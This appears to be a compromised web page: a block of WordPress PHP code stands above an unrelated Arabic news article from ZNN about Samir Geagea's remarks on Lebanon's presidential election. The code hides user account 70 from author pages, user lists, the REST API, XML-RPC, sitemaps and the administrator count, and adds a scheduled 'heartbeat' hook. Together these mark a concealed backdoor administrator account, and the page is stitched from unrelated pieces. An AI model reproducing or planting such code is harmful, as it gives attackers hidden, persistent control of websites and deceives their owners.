add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 70;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 70;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 70;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
جعجع : "ما يعذبوا قلبن" وليتوقفوا عن الإنتظار والاستجارة بفرنسا والذهاب إلى قطر والقاهرة - znn
كاتب في ZNN znn شـبـڪـة الـزهـرانـي الإخـبـاريـة
2023-07-17 31٬112 مقالات
التقى رئيس حزب “القوات اللبنانية” سمير جعجع والنائبة ستريدا جعجع في بقاعكفرا البطريرك بشارة الراعي ، وكشف جعجع انه تداول مع البطريرك “بشكل مطوّل موضوع الإنتخابات الرئاسيّة، والمسألة لا حلين لها وإنما حل واحد وبكل صراحة “ما يعذبوا قلبن” وليتوقفوا عن الإنتظار والاستجارة بفرنسا والذهاب إلى قطر والقاهرة والعودة بعدها إلى لبنان، لهذه المسألة حل واحد بسيط طبيعي منطقي دستوري وهو أن يقوم النواب بمجلس النواب بانتخاب رئيس”. وقال”ما أعدكم به هو أننا مستمرون حتى النهاية ولن نقبل أبداً بحلول خنفشاريّة ولن نلوي تحت ضغط الأزمة التي يتسبب بها الفريق الآخر، فهذا هو منهاجه يتسبب بالأزمة ولا يهمهم ما يتكبده الناس والرغيف والليرة وجل ما يهمه هو أن نتراجع تحت ضغط الأزمة لنعطيهم ما يريدونه إلا أن هذه المرّة لن نتراجع أبداً، وأقول هذا لكي أكون واضحاً ولكي يعرفوا تماماً إلى أين هم ذاهبون، الوارد فقط هو أن نذهب إلى مجلس النواب ونعقد دورات انتخابيّة متتالية إلى حين انتخاب رئيس”.
تابع ZNN على تيليغرام احصل على آخر الأخبار فور حدوثها.
انضم الآن
znn
شـبـڪـة الـزهـرانـي الإخـبـاريـة